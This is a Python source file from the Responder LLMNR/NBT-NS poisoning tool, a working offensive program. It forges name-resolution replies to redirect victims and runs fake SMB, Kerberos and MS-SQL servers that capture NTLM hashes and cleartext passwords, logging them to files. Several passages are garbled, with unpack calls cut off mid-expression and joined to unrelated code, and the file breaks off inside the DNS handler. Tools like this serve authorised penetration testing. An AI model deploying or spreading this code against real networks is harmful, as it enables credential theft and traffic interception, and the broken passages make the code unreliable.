#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import sys,struct,SocketServer,re,socket,thread,Fingerprint,random,os,BaseHTTPServer, select,urlparse,zlib, string, time
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer
from Fingerprint import RunSmbFinger,OsNameClientVersion
from odict import OrderedDict
from socket import inet_aton
from random import randrange
from libs.sslstrip.DnsCache import DnsCache
def IsOsX():
Os_version = sys.platform
if Os_version == "darwin":
return True
else:
return False
def OsInterfaceIsSupported(INTERFACE):
if INTERFACE != "Not set":
if IsOsX():
return False
else:
return True
if INTERFACE == "Not set":
return False
def Analyze(AnalyzeMode):
if AnalyzeMode == True:
return True
else:
return False
#Logger
#CommandLine = str(sys.argv)
import logging
#logging.basicConfig(filename="./logs/" + SessionLog, level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
#StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
#logging.warning(StartMessage)
Log2Filename = "./logs/LLMNR-NBT-NS.log"
logger2 = logging.getLogger('LLMNR/NBT-NS')
logger2.addHandler(logging.FileHandler(Log2Filename,'a'))
AnalyzeFilename = "./logs/Analyze-LLMNR-NBT-NS.log"
logger3 = logging.getLogger('Analyze LLMNR/NBT-NS')
logger3.addHandler(logging.FileHandler(AnalyzeFilename,'a'))
#Function used to write captured hashs to a file.
def WriteData(outfile,data, user):
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def PrintData(outfile,user):
if Verbose == True:
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
return True
else:
return True
def PrintLLMNRNBTNS(outfile,Message):
if Verbose == True:
return True
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(re.escape(Message), filestr.read()):
filestr.close()
return False
else:
return True
else:
return True
#Packet class handling all packet generation (see odict.py).
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Function name self-explanatory
def Is_Finger_On(Finger_On_Off):
if Finger_On_Off == True:
return True
if Finger_On_Off == False:
return False
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToSpecificName(RespondToName):
if len(RespondToName)>=1 and RespondToName != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
def RespondToNameScope(RespondToName, Name):
if Name in RespondToName:
return True
else:
return False
##Dont Respond to these hosts/names.
def DontRespondToSpecificHost(DontRespondTo):
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
return True
else:
return False
def DontRespondToSpecificName(DontRespondToName):
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
return True
else:
return False
def DontRespondToIPScope(DontRespondTo, ClientIp):
if ClientIp in DontRespondTo:
return True
else:
return False
def DontRespondToNameScope(DontRespondToName, Name):
if Name in DontRespondToName:
return True
else:
return False
##################################################################################
#NBT NS Stuff
##################################################################################
#NBT-NS answer packet.
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("NbtName", ""),
("Type", "\x00\x20"),
("Classy", "\x00\x01"),
("TTL", "\x00\x00\x00\xa5"),
("Len", "\x00\x06"),
("Flags1", "\x00\x00"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["NbtName"] = data[12:46]
self.fields["IP"] = inet_aton(OURIP)
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service.",
}
if data in Role:
return Role[data]
else:
return "Service not known."
# Define what are we answering to.
def Validate_NBT_NS(data,Wredirect):
if Analyze(AnalyzeMode):
return False
if NBT_NS_Role(data[43:46]) == "File Server Service.":
return True
if NBTNSDomain == True:
if NBT_NS_Role(data[43:46]) == "Domain controller service. This name is a domain controller.":
return True
if Wredirect == True:
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector Service.":
return True
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
# NBT_NS Server class.
class NB(BaseRequestHandler):
def handle(self):
data, socket = self.request
Name = Decode_Name(data[13:45])
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if Analyze(AnalyzeMode):
if data[2:4] == "\x01\x10":
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
Message = "%s [Analyze mode: NBT-NS] OS: %s Client Version: %s is looking for: %s Service requested is: %s"%(self.client_address[0], Finger[0], Finger[1], Name, NBT_NS_Role(data[43:46]))
logger3.warning(Message)
except Exception:
Message = "%s [Analyze mode: NBT-NS] is looking for : %s Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
#print Message
logger3.warning(Message)
else:
Message = "%s [Analyze mode: NBT-NS] is looking for : %s. Service requested is: %s"%(self.client_address[0], Name,NBT_NS_Role(data[43:46]))
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
#print Message
logger3.warning(Message)
logger3.warning(Message)
if RespondToSpecificHost(RespondTo) and Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect):
if RespondToSpecificName(RespondToName) == False:
DnsCache.getInstance().setCustomRes(Name.lower())
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
DnsCache.getInstance().setCustomRes(Name.lower())
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
pass
else:
if data[2:4] == "\x01\x10":
if Validate_NBT_NS(data,Wredirect) and Analyze(AnalyzeMode) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
DnsCache.getInstance().setCustomRes(Name.lower())
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
p#rint '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
DnsCache.getInstance().setCustomRes(Name.lower())
buff = NBT_Ans()
buff.calculate(data)
for x in range(1):
socket.sendto(str(buff), self.client_address)
Message = 'NBT-NS Answer sent to: %s. The requested name was : %s'%(self.client_address[0], Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
##################################################################################
#Browser Listener and Lanman Finger
##################################################################################
from RAPLANMANPackets import *
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'\n [-]Os version is:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack(' 260:
SSPIStart = data[79:]
LMhashLen = struct.unpack(' 260:
SSPIStart = data[79:]
LMhashLen = struct.unpack(' 60:
outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt")
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack(' 25:
Hash = data[65+LMhashLen:65+LMhashLen+NthashLen]
logging.warning('SMB-NTLMv2 hash captured from :%s'%(client))
outfile = os.path.join(ResponderPATH,"SMB-NTLMv2-Client-"+client+".txt")
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
Writehash = Username+"::"+Domain+":"+NumChal+":"+Hash.encode('hex')[:32].upper()+":"+Hash.encode('hex')[32:].upper()
if PrintData(outfile,Username+"::"+Domain):
logging.warning("SMB-NTLMv2 hash captured from :",client)
logging.warning("SMB-NTLMv2 complete hash is :",Writehash)
ParseShare(data)
WriteData(outfile,Writehash, Username+"::"+Domain)
logging.warning('SMB-NTLMv2 complete hash is :%s'%(Writehash))
if NthashLen == 24:
logging.warning('SMB-NTLMv1 hash captured from :%s'%(client))
outfile = os.path.join(ResponderPATH,"SMB-NTLMv1-Client-"+client+".txt")
pack = tuple(data[89+NthashLen:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[89+NthashLen:Bcc+60].split('\x00\x00\x00')[:2]]
Username, Domain = tuple(var)
writehash = Username+"::"+Domain+":"+data[65:65+LMhashLen].encode('hex').upper()+":"+data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper()+":"+NumChal
if PrintData(outfile,Username+"::"+Domain):
logging.warning("SMB-NTLMv1 hash captured from : ",client)
logging.warning("SMB complete hash is :", writehash)
ParseShare(data)
WriteData(outfile,writehash, Username+"::"+Domain)
logging.warning('SMB-NTLMv1 complete hash is :%s'%(writehash))
logging.warning('SMB-NTLMv1 Username:%s'%(Username))
logging.warning('SMB-NTLMv1 Domain (if joined, if not then computer name) :%s'%(Domain))
except Exception:
raise
def IsNT4ClearTxt(data):
HeadLen = 36
Flag2 = data[14:16]
if Flag2 == "\x03\x80":
SmbData = data[HeadLen+14:]
WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75":
PassLen = struct.unpack(' 2:
Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","")
User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","")
#print "[SMB]Clear Text Credentials: %s:%s" %(User,Password)
logging.warning("[SMB]Clear Text Credentials: %s:%s"%(User,Password))
#SMB Server class, NTLMSSP
class SMB1(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(1)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
self.request.send(buffer0)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
#Customize SMB answer.
head = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
t = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer0 = longueur(packet0)+packet0
self.request.send(buffer0)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data)
head = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
t = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
t.calculate()
final = t
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(4096)
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
final = SMBSessEmpty()
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
else:
ParseSMBHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = SMBSession2Accept()
final.calculate()
packet2 = str(head)+str(final)
buffer2 = longueur(packet2)+packet2
self.request.send(buffer2)
data = self.request.recv(1024)
##Tree Connect IPC Answer
if data[8:10] == "\x75\x00":
ParseShare(data)
head = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
t = SMBTreeData()
t.calculate()
final = t
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Tree Disconnect.
if data[8:10] == "\x71\x00":
head = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##NT_CREATE Access Denied.
if data[8:10] == "\xa2\x00":
head = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Trans2 Access Denied.
if data[8:10] == "\x25\x00":
head = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##LogOff.
if data[8:10] == "\x74\x00":
head = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
final = "\x02\xff\x00\x27\x00\x00\x00"
packet1 = str(head)+str(final)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
pass #no need to print errors..
#SMB Server class, old version.
class SMB1LM(BaseRequestHandler):
def handle(self):
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
##session request 139
if data[0] == "\x81":
buffer0 = "\x82\x00\x00\x00"
self.request.send(buffer0)
data = self.request.recv(1024)
##Negotiate proto answer.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
t = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
##Session Setup AndX Request
if data[8:10] == "\x73\x00":
if Is_LMNT_Anonymous(data):
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
else:
ParseLMNTHash(data,self.client_address[0])
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
packet1 = str(head)+str(SMBSessEmpty())
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(1024)
except Exception:
self.request.close()
pass
##################################################################################
#Kerberos Server
##################################################################################
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack(' 60:
DomainLen = struct.unpack('H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()
##################################################################################
#LLMNR Stuff
##################################################################################
#LLMNR Answer packet.
class LLMNRAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
print "| |_ [Analyze mode: ICMP] You can ICMP Redirect on this network. This workstation (%s) is not on the same subnet than the DNS server (%s). Use python Icmp-Redirect.py for more details."%(IP, x)
else:
pass
def FindLocalIP(Iface):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.connect(("127.0.0.1",9))#RFC 863
return s.getsockname()[0]
def AnalyzeICMPRedirect():
if Analyze(AnalyzeMode) and OURIP is not None and INTERFACE == 'Not set':
IsICMPRedirectPlausible(OURIP)
if Analyze(AnalyzeMode) and INTERFACE != 'Not set':
IsICMPRedirectPlausible(FindLocalIP(INTERFACE))
# LLMNR Server class.
class LLMNR(BaseRequestHandler):
def handle(self):
data, soc = self.request
try:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if Analyze(AnalyzeMode):
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
Message = "%s [Analyze mode: LLMNR] OS: %s Client Version: %s is looking for : %s"%(self.client_address[0],Finger[0],Finger[1],Name)
logger3.warning(Message)
except Exception:
Message = "%s [Analyze mode: LLMNR] is looking for : %s."%(self.client_address[0], Name)
logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
logger3.warning(Message)
else:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
logger3.warning(Message)
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
DnsCache.getInstance().setCustomRes(Name.lower())
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
#print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
#print '[+] OsVersion is:%s'%(Finger[0])
#print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('OsVersion is:%s'%(Finger[0]))
logging.warning('ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
pass
except:
raise
##################################################################################
#DNS Stuff
##################################################################################
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
if QueryTypeClass == "\x00\x01\x00\x01":#If Type A, Class IN, then answer.
return True
else:
return False
#DNS Answer packet.
class DNSAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x10"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerPointer", "\xc0\x0c"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"), #30 secs, dont mess with their cache for too long..
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self,data):
self.fields["Tid"] = data[0:2]
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
self.fields["IP"] = inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
# DNS Server class.
class DNS(BaseRequestHandler):
def handle(self):
data, soc = self.request
